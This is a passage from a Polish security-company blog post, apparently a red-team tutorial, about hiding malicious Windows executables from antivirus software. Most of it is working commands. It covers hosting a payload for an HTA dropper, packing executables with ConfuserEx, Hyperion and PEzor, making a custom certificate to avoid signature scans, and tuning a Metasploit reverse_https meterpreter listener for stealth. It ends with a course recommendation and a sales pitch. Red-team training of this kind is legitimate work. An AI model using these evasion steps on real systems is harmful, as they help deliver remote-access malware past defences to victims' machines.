Następnie najlepiej będzie, jeśli udostępnisz ten plik z swojego VPS za pomocą serwera HTTP. Zmień nazwę pliku HOLLOW.exe na setup.exe lub setup.exe na HOLLOW.exe w swoim pliku HTA dropper.

Obfuskacja EXE

ConfuserEx świetnie radzi sobie z obfuskacją w C#. Potrzebujesz skompilowanego pliku binarnego EXE, a następnie możesz użyć go w poniższy sposób:

Aggressive Preset dla Global and Platform.exe

Dla EXE, który został napisany w C/C++, możesz użyć narzędzia Hyperion:

hyperion.exe input.exe evil.exe

Na koniec, możesz użyć pakera Pezor, na pliku evil.exe. Pezor można użyć na dowolnym pliku PE, nie tylko na skompilowanym pliku C/C++.

bash PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=10 evil.exe -z 2

W ten sposób możesz sprawić, że pliki PE będą mniej wykrywalne.

Krótko o certyfikatach

W powyższych przykładach wygenerowaliśmy kod powłoki (shellcode) za pomocą narzędzia Msfvenom, które losowo generuje certyfikaty SSL. Takie certyfikaty mogą być wykrywane za pomocą skanowania podpisów. Można to obejść, tworząc własny certyfikat SSL.

  • Stwórz self-signed certyfikat:
openssl req -new -x509 -nodes -out cert.crt -keyout priv.key

Stwórz plik .pem:

cat priv.key cert.crt > custom.pem

Zmień CipherString=DEFAULT@SECLEVEL=2 in /etc/ssl/openssl.cnf to:

Chociaż obniżyłoby to wykrywalność, powinieneś uzyskać i używać ważnego certyfikatu, jak wspomniano wcześniej.

Krótko o listenerach w Metasploit

Niektóre zaawansowane opcje modułu multi/handler w Metasploit mogą pomóc w omijaniu programów antywirusowych.

Pierwszą z nich jest opcja SSL. Gdy jest ustawiona na wartość true, twój nasłuch będzie używał SSL do nawiązania połączenia. Możesz użyć wcześniej utworzonego niestandardowego certyfikatu samopodpisanego w tym celu.

set payload windows/x64/meterpreter/reverse_https
set SSL true
set HandlerSSLCert /home/karmaz95/custom.pem

Kolejną przydatną opcją jest wyłączenie automatycznego ładowania stdapi, które odpowiada za ładowanie domyślnych poleceń meterpretera. Gdy zostanie załadowane, rezerwuje przestrzeń w pamięci na funkcje meterpretera. Antywirusy skanują całą pamięć procesu w poszukiwaniu tej sygnatury i mogą wykryć ją jako szkodliwą. Jeśli ustawisz ją na false, meterpreter będzie działał jak zwykłe połączenie. Po uzyskaniu reverse shell możesz ręcznie załadować stdapi.

set AutoLoadStdapi false

Opcja AutoVerifySession sprawia, że meterpreter wysyła kolejne połączenie po nawiązaniu pierwszego połączenia, aby sprawdzić, czy jest aktywne. Ta aktywność również może zostać wykryta.

set AutoVerifySession false

Ostatnich dwóch opcji należy użyć, jeśli używasz staged payloadu, ponieważ koduje drugi etap twojego shellcode’a meterpreter.

set EnableStageEncoding True
set StagerEncoder x64/xor_dynamic

Może nasunąć się pytanie, dlaczego nie używać silnie zakodowanego shellcode’u jednostopniowego. Jedną z głównych zalet korzystania z shellcode’u stadiowego jest rozmiar pierwszego etapu w pamięci – im mniej bajtów, tym mniejsza szansa na wykrycie złośliwego kodu i więcej czasu na migrację do innego procesu lub wypełnienie procesu, co omija całkowicie ochronę antywirusową.

Podsumowanie

Choć artykuł był nieco długi, to wciąż nie wyczerpał tematu. Opisane tutaj techniki wciąż działają, ale istnieją lepsze, bardziej zaawansowane. Jeśli interesuje Cię omijanie zabezpieczeń systemu Windows i zajmowanie się Red Teamingiem, gorąco zachęcam do śledzenia Mariusza, który wykonuje fantastyczną pracę. Jeśli to, co przeczytałeś tutaj, jest dla Ciebie trudne do zrozumienia, ale chciałbyś zacząć się tego uczyć, zachęcam do wzięcia udziału w kursie PEN-300 (OSEP) od Offensive Security.

Zachęcam również do regularnego odwiedzania naszego bloga AFINE, aby zdobywać nową wiedzę. Mam nadzieję, że Ci się spodoba!

Czy Twoja firma jest bezpieczna w sieci?

Dołącz do grona naszych zadowolonych klientów i zabezpiecz swoją firmę przed cyberzagrożeniami już dziś!

Zostaw nam swoje dane kontaktowe, a nasz zespół skontaktuje się z Tobą, aby omówić szczegóły i dopasować ofertę do Twoich potrzeb. Dbamy o pełną dyskrecję i poufność Twoich danych, dlatego możesz nam zaufać.